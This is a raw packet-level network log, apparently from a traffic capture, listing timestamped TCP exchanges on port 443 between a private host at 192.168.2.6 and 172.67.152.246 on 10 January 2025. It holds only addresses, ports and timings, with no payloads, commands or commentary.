Jan 10, 2025 20:14:10.997081995 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.997123003 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:10.997129917 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:10.997165918 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.084072113 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.084187031 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.084235907 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.084311008 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.084311008 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.084332943 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.084356070 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.084407091 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.084755898 CET	57919	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.084769011 CET	443	57919	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.200285912 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.200324059 CET	443	57920	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.200419903 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.200701952 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.200712919 CET	443	57920	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.663034916 CET	443	57920	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.663150072 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.674499989 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.674515009 CET	443	57920	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.674688101 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.674693108 CET	443	57920	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.803725958 CET	443	57920	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.803812027 CET	443	57920	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.803858995 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.803884029 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.804028034 CET	57920	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.804045916 CET	443	57920	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.804608107 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.804657936 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:11.804723024 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.804877043 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:11.804886103 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.288719893 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.288805962 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.379235029 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.379247904 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.379592896 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.379596949 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.546587944 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.546674967 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.546710968 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.546744108 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.546751022 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.546751022 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.546770096 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.546817064 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.546869993 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.546869993 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.546869993 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.547163010 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.547211885 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.547291040 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.547358990 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.547374010 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.547429085 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.551153898 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.551227093 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.551239014 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.551291943 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.552468061 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.552531004 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.552541018 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.552593946 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.552634001 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.552680969 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.639133930 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.639220953 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.639277935 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.639307022 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.639334917 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.640593052 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.640593052 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.640593052 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.640593052 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.777501106 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.777554989 CET	443	57922	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.777647018 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.777909040 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.777923107 CET	443	57922	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:12.947730064 CET	57921	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:12.947768927 CET	443	57921	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.261228085 CET	443	57922	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.261297941 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.261720896 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.261733055 CET	443	57922	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.261890888 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.261897087 CET	443	57922	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.400424004 CET	443	57922	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.400499105 CET	443	57922	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.400590897 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.400616884 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.400789022 CET	57922	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.400806904 CET	443	57922	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.418560982 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.418603897 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.418720961 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.418919086 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.418927908 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.887105942 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.887352943 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.887718916 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.887732029 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:13.887867928 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:13.887872934 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.094763041 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.094818115 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.094856024 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.094865084 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.094865084 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.094892979 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.094934940 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.094984055 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.094984055 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.094984055 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.095009089 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.095063925 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.095078945 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.095120907 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.095132113 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.095187902 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.095587969 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.095655918 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.095675945 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.095726013 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.095741987 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.095794916 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.099611998 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.099680901 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.099701881 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.099759102 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.099786997 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.099839926 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.181457043 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.181531906 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.181629896 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.181710958 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.181776047 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.182122946 CET	57923	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.182159901 CET	443	57923	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.293313026 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.293354034 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.293476105 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.293838024 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.293852091 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.759625912 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.759788990 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.781184912 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.781196117 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.781359911 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.781363964 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.881927013 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.882002115 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.882016897 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.882033110 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.882055044 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.882107019 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.882239103 CET	57924	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.882253885 CET	443	57924	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.888576984 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.888628960 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:14.888714075 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.888911963 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:14.888931036 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.357642889 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.357748032 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.409698963 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.409733057 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.409841061 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.409846067 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.538306952 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.538428068 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.538464069 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.538502932 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.538656950 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.538695097 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.538703918 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.538734913 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.538741112 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.538772106 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.538778067 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.538809061 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.538976908 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.539021015 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.539176941 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.539212942 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.539222956 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.539258003 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.539418936 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.539462090 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.539469004 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.539510965 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.543026924 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.543108940 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.543117046 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.543154955 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.625612020 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.625725985 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.625746965 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.625786066 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.625792027 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.625823975 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.625829935 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.625858068 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.625863075 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.625905991 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.625910044 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:15.625952005 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.799213886 CET	57925	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:15.799240112 CET	443	57925	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.023222923 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.023271084 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.023334026 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.023751974 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.023767948 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.503571987 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.503731966 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.504101992 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.504110098 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.504264116 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.504270077 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.648149014 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.648283958 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.648314953 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.648339987 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.648473978 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.648473978 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.648504972 CET	57926	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.648523092 CET	443	57926	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.657416105 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.657469988 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:16.657555103 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.657783985 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:16.657799959 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.121953011 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.122200966 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.122523069 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.122534990 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.122699976 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.122704983 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.332992077 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.333131075 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.333142996 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.333173037 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.333188057 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.333237886 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.333242893 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.333286047 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.333290100 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.333328962 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.333339930 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.333389997 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.333429098 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.333477974 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.333502054 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.333554029 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.341820002 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.341901064 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.341912031 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.341959000 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.342004061 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.342052937 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.342086077 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.342148066 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.342170954 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.342221022 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.419672966 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.419734001 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.419843912 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.419846058 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.419892073 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.420145988 CET	57928	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.420164108 CET	443	57928	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.543389082 CET	57929	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.543441057 CET	443	57929	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:17.543565989 CET	57929	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.543957949 CET	57929	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:17.543973923 CET	443	57929	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.023890018 CET	443	57929	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.025620937 CET	57929	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.029166937 CET	57929	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.029179096 CET	443	57929	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.029305935 CET	57929	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.029310942 CET	443	57929	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.150032997 CET	443	57929	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.150095940 CET	443	57929	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.150213003 CET	57929	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.150409937 CET	57929	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.150429010 CET	443	57929	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.160507917 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.160551071 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.160608053 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.160809040 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.160820007 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.634533882 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.634620905 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.669295073 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.669316053 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.669444084 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.669449091 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.832490921 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.832526922 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.832547903 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.832570076 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.832591057 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.832592010 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.832608938 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.832618952 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.832655907 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.832659960 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.832694054 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.835222960 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.835253954 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.835268021 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.835273981 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.835287094 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.835321903 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.837304115 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.837340117 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.837343931 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.837378025 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.837380886 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.837414980 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.940432072 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.940494061 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.940498114 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.940526962 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.940540075 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.940579891 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.940583944 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.940609932 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:18.940617085 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:18.940643072 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.000984907 CET	57930	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.001015902 CET	443	57930	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.230871916 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.230926991 CET	443	57931	172.67.152.246	192.168.2.6
